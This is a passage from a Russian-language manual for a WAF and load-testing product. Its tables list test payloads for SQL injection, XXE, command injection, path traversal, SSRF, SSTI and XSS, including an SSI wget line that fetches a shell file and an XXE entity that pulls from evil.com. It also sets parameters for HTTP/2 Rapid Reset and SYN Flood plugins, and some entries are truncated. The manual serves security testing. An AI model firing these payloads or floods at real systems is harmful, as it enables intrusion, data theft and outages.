| Path Traversal | Обход файлов | (GET /?home=/ ../ ../ ../ ../ ../) |
| SSRF | Запрос в медиаданные AWS | ({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})` |
| XSS: Basic | Базовый XSS | (<script\>alert(xss)</script>) |
| XSS: Obfuscated | Обфусцированный XSS | (\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>) |
| Bypass: SQLi with URL-encoding | SQLi c URL-энкодингом | ( q=%27%20OR%201 %3D1-) |
| Evasion: Chunked Encoding | Chunked Encoding | (Transfer-Encoging: chunked \+ encoded payloag) |
Продвинутое тестирование WAF
SQLi Advanced, описание приведено в Табл. 23;
Генерирует различные SQL-инъекций: от простых UNION SELECT до обфусцированных и байпас-атак, включая Blind SQLi и Time-based SQLi. Проверяет устойчивость к попыткам обхода фильтрации SQL
Табл. 23 – Параметры « SQLi Advanced»
| Название | Значение |
|---|---|
| Basic UNOIN SELECT | /?id=1+union+select+1,2,3-- |
| Comment-obfuscated UNION | /?id=1+un/\*\*/ion+se/\*\*lect+1,2,3-- |
| Case-mised UNION | /?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3-- |
| Double UNION-SELECT bypass | /?id=1+UNunionION+SEselectLECT+1,2,3-- |
| Vertical tab separation | /?id=1+uni%0bon+se%0blect+1,2,3-- |
| Division error + hex payload | /?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user |
| Massive hex payload | /?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10 |
| MySQL table dump | /?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/ |
| Hex-encoded table | /?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/ |
| Compact data extraction | /?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/ |
| XP_CMDSHELL | /?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \-- |
| LPAD function' | /id/1/\*\*/ |
| Vertical tab LPAD | /id/1%0b |
| Double-encoded UNION | /?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users-- |
| Current_user | /?id=0%20div%201%20union%20select%201,2,current\_user |
| MySQL-specific UNION | /?id=1/\*\!UnIoN\*/SeLecT+1,2,3-- |
| Concat table names | /?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()-- |
| Query stacking 1 | /?q=select name\&q=password from users |
| Query stacking 2 | /?q=select name,password from users |
| Fragmented query | /?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users |
| Version concat | /?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user()) |
| Column enum | /?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\* |
| Full system info | /?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- |
| Subquery | /?p=( ( SELECT @a ) OR 'b' ) \-- |
| Function bypass | /?p=( (SELECT 'a' ) OR COS ( 'b') ) \-- |
| Version check | /?p=-1' or 1=@@version \-- |
| Char-based version | /?p=3520 AND (version() like char(51,46,50,51,46,53,52)) |
| Limit abuse | /?p=1' union (select 's' from users limit 1,1) |
| Version 2 | /?p=-001 union select 1,2,3,4,5,version(),7,8,9,10 |
| System user | /?p=-1 or 1=(select system\_user)-- |
| Char alert | /?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\* |
| Substring | /?p=22 AND SUBSTRING((y()),1,1)=x/\* |
| Benchmark | /?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- |
| Nested benchmark | /?p=)) and 0=benchmark(3000000,MD5(1))%20-- |
| Waitfor delay | /?p=),NULL)%20waitfor%20delay%20'0:0:20'%20-- |
| Nested sleep | /?p=,(select \* from (select(sleep(10)))a) |
| JSON extract | /?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055 |
| JSON array | /?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294 |
| JSON keys | /?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM |
| Negative float | /?p="union select \-7431.1, name, @aaa from u\_base--w- |
| Float compare | /?p=or 123.22=123.22 |
| Delay syntax | /?p= waitfor delay '00:00:10'-- |
| Nested sleep 2 | /?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/ |
| JSON extract 2 | /?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa |
| JSON depth | /?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521 |
| ELT function | /?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333 |
| JSON keys 2 | /?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8))) |
| JSON length | /?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779 |
XXE Advanced, описание приведено в Табл. 24
Проверяет уязвимости в XML-парсерах. Используются атаки, способные раскрыть содержимое файлов, инициировать сетевые подключения и обойти ограничения.
Табл. 24 – Параметры «XXE Advanced»
| Название | Значение |
|---|---|
| External entity file read | \<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\> |
| Base64 data scheme attack | \<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\> |
| Remote DTD inclusion | \<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> |
| Collaborator-based SSRF | \<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> |
Command Injection Advanced, описание приведено в Табл. 25
Проверяет, можно ли выполнить произвольные команды ОС через параметры запроса. Атаки охватывают как POSIX, так и Windows-окружения.
Табл. 25 – Параметры «Command Injection Advanced»
| Название | Значение |
|---|---|
| SQL-to-OS pivot | /?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables) |
| Obfuscated SQL-to-OS | /?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables) |
| XPCMDSHELL User Creation | CODEBLOCK2\_ |
| Direct XPCMDSHELL Call | CODEBLOCK3\_ |
| Bracket Obfuscation | /?xp\[cmdshell |
| Basic Command Chaining | /?a=; ls |
| Newline Injection | /?a=%0a ls |
| Subshell Execution | /?a=$(ls) |
| Single Quote Escape | /?a='ls' |
| Ampersand Separation | /?a=& ls |
| URL-encoded Ampersand | /?a=%26 ls |
| Double Ampersand | /?a=1 && ls |
| URL-encoded Double Ampersand | /?a=%26%26 ls |
| Pipe Separation | /?a= |
| Double Pipe | /?a= |
| Path Fragmentation | /?a= '/b'i'n/l's' |
| Backslash Obfuscation | /?a= /b\\\\in/l\\\\s |
| Variable Substitution | /?a=cat$a /etc\#$a/passwd$a |
File Injection Advanced, описание приведено в Табл. 26
Тестирует возможности внедрения через пути к файлам: php://, file://, zip:// и другие. Цель — получить доступ к конфиденциальным данным или исполняемым файлам.
Табл. 26 – Параметры «File Injection Advanced»
| Название | Значение |
|---|---|
| Basic Directory Traversal | /?file=../bla.txt |
| Encoded Dot-Dot-Slash | /?file=.%./bla.txt |
| PHP Filter Exploit via XML Entity | /?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\> |
| Basic File Protocol | /?p=file=/etc/passwd |
| File URI Scheme | ?p=file:///etc/passwd |
| PHP Base64 Filter | /?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd |
| PHP Zlib Compression Filter | /?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd |
| Kubernetes Secrets via IPv6 | /?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount |
XML Injection Advanced, описание приведено в Табл. 27
Анализирует, как система обрабатывает пользовательские XML-вводы. Может привести к ошибкам парсинга или раскрытию данных.
Табл. 27 – Параметры «XML Injection Advanced»
| Название | Значение |
|---|---|
| XML Parser Logic Bypass | /?test\[1=2test\_ \-- |
Path Traversal Advanced, описание приведено в Табл. 28
Тестирует обработку путей типа ../../etc/passwd и их различных обфускаций. Актуально для выявления доступа к защищённым системным файлам.
Табл. 28 – Параметры «Path Traversal Advanced»
| Название | Значение |
|---|---|
| Windows Path | /?p=.../.../WINDOWS/win.ini |
| Null Byte Termination | /?p=../../../../etc/passwd%00 |
| JPG Null Byte | /?p=../../../../etc/passwd%00jpg |
| Query Param Bypass | /?p=../../../../etc/passwd? |
| Double Encoding | /?p=%252e%252e%252fetc%252fpasswd |
| Double Encoded Null | /?p=%252e%252e%252fetc%252fpasswd%00 |
| Nested Slashes | /?p=....//....//etc/passwd |
| Excessive Slashes | /?p=..///////..////..//////etc/passwd |
| Backslash Bypass | /?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd |
| URL Encoded Slash | /?p=..%2f..%2f..%2f..%2fetc%2fpasswd |
| Dot Encoding | /?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
| Triple Encoding | /?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd |
| Backslash Encoding | /?p=..%255c..%255c..%255c..%255cetc%255cpasswd |
| Unicode Bypass | /?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd |
| Dot Overload | /?p=%252e%252e%252e%252e%252e%252eetcpasswd' |
| C1 Byte Bypass | /?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd |
UNC Path Traversal Advanced, описание приведено в Табл. 29
Использует пути вида \host\c$\windows\win.ini для тестирования доступа к удалённым или локальным системным ресурсам через нестандартные методы.
Табл. 29 – Параметры « UNC Path Traversal Advanced»
| Название | Значение |
|---|---|
| IPv6 UNC Path | /?p=0::001c$windowswin.ini |
| Registry Access | /?p=::1c$usersdefault\\ntuser.dat |
| Localhost UNC | /?p=localhostc$windowswin.ini |
| Long Path Bypass | /?p=file:////////////////////////c |
RCE Advanced, описание приведено в Табл. 30
Имитация атак на уязвимости типа ShellShock, инъекции PHP/JS, и обход фильтров для выполнения произвольного кода на целевом сервере.
Табл. 30 – Параметры « RCE Advanced»
| Название | Значение |
|---|---|
| ShellShock Exploit | /?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd' |
| PHP Short Tag | /?p=\<?=$\_POST\[00\]?\> |
| Command Concatenation | /?p=; cat /et'c/pa's's'wd |
| IP-based Execution | /?p=cmd=127.0.0.1 && ls /etc |
| String Reversal | /?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn' |
| Variable Obfuscation | /?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss?? |
GraphQL Advanced, описание приведено в Табл. 31
Автоматически отправляет нестандартные, глубоко вложенные и мутированные запросы GraphQL для выявления пробелов в валидации и контроле типов.
Табл. 31 – Параметры «GraphQL Advanced»
| Название | Значение |
|---|---|
| Basic Schema Extraction | /?query={ \_\_schema { types { name } } } |
| Deep Type Introspection | /?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} |
XSS Advanced, описание приведено в Табл. 32
Проверка на возможность внедрения JavaScript-кода в веб-страницу. Используются payload'ы для DOM-based, reflected и stored XSS.
Табл. 32 – Параметры «XSS Advanced»
| Название | Значение |
|---|---|
| Body Onload | /?q=\<body onload=alert('test1')\> |
| Mouseover Event | /?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\> |
| Image Error | /?q=\<img/src=x/onerror=xxx |
| Wheel Event | /?q="onwheel=alert(111) |
| Prototype Pollution | /?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\> |
| Closure Base Path | /?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)// |
| Vue.js Exploit | /?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')() |
| SVG MIME Abuse | /?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html |
| SVG Short | /?q='\>\<svg/onload=alertxss\> |
| Exception Handler | /?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}// |
| Self XSS | /?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}// |
| Image Error 2 | /?q=\<img src=x onerror=alert(document.domain)\>/all |
| JavaScript Pseudo | /?q=javascript:setInterval('ale'+'rt(document.domain)') |
| Map Confirm | /?q="Onclick="(\[11\].map(confirm)) |
| Base64 Image | /?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\> |
| Autofocus Bypass | /?q=\\\\"autofocus=alert(1)// |
| External Entity | /?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\> |
| Doctype Short | /?a=\<\!DOCTYPE :. SYTEM "http://" |
| Complex Doctype | /?a=\<\!DOCTYPE :\_-\_: SYTEM "http://" |
SSRF Advanced, описание приведено в Табл. 33
Тестирует возможность заставить сервер делать HTTP-запросы от своего имени к внутренним сервисам, metadata API или внешним адресам.
Табл. 33 – Параметры «SSRF Advanced»
| Название | Значение |
|---|---|
| Cloud Metadata | /?q=https://somehost/metadata/instance |
| Telnet IPv4 | /?q=telnet://2852039166/ |
| IPv6 Transition | /?q=http://\[::ffff:a9fe:a9fe\]/ |
| AWS Metadata | /?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/ |
| OpenStack Metadata | /?q=http://169.254.169.254/openstack |
| Octal Encoding | /?q=http://0251.00376.000251.0000376/ |
| Shortened IP | /?q=http://0251.254.169.254 |
| Localhost | /?q=http://0.0.0.0:80 |
| Gopher Protocol | /?q=gopher://0.0.0.0:443 |
| SSH Port | /?q=http://0.0.0.0:22 |
| FTP IPv4 | /?q=ftp://3232235521/ |
| Short Port | /?q=http://0:8080/ |
| Minimal URL | /?q=http://0/ |
| Link-Local | /?q=http://169.254.169.254 |
| IMAP | /?q=imap://2130706433 |
| Wildcard IPv6 | /?q=http://\[::::\] |
| Compressed IPv6 | /?q=http://0000::1 |
| Unicode Gopher | /?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A |
| TFTP Unicode | /?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E |
SSI/SSTI Advanced, описание приведено в Табл. 34
Атаки на шаблонизаторы (Jinja2, Freemarker и др.) и SSI-инструкции. Цель — выполнить команды или прочитать файлы через шаблонную логику.
Табл. 34 – Параметры «SSI/SSTI Advanced»
| Название | Значение |
|---|---|
| SSI Command | /?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt |
| SSI List Dir | /?q=\<\!--\#exec cmd="ls" \--\> |
| SSI Windows Dir | /?q=\<\!--\#exec cmd="dir" \--\> |
| Java Resource | /?q=${class.getResource("./test/test.res").getContent()} |
| Twig RCE | /?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}} |
| Freemarker RCE | /?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")} |
| Python Attribute | /?q={{request |
-
Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указаны в Табл. 35
Табл. 35 – Параметры «Сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 36.
Табл. 36 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
HTTP/2 Rapid Reset
HTTP/2 Rapid Reset – плагин для генерации различного веб-трафика с механизмом в протоколе HTTP/2, который позволяет быстро сбрасывать соединения.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 37;
Табл. 37 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 38;
Табл. 38 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 39;
Табл. 39 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 40;
Табл. 40 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 41;
Табл. 41 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | выберите значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заголовка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | выберите из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 42;
Табл. 42 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 43.
Табл. 43 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
SYN Flood
SYN Flood – плагин для генерации трафика, в котором отправляется большое количество запросов на установление TCP-соединения (SYN-пакеты) без завершения процесса.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 44;
Табл. 44 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 45;
Табл. 45 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 46;
Табл. 46 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 47;
Табл. 47 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
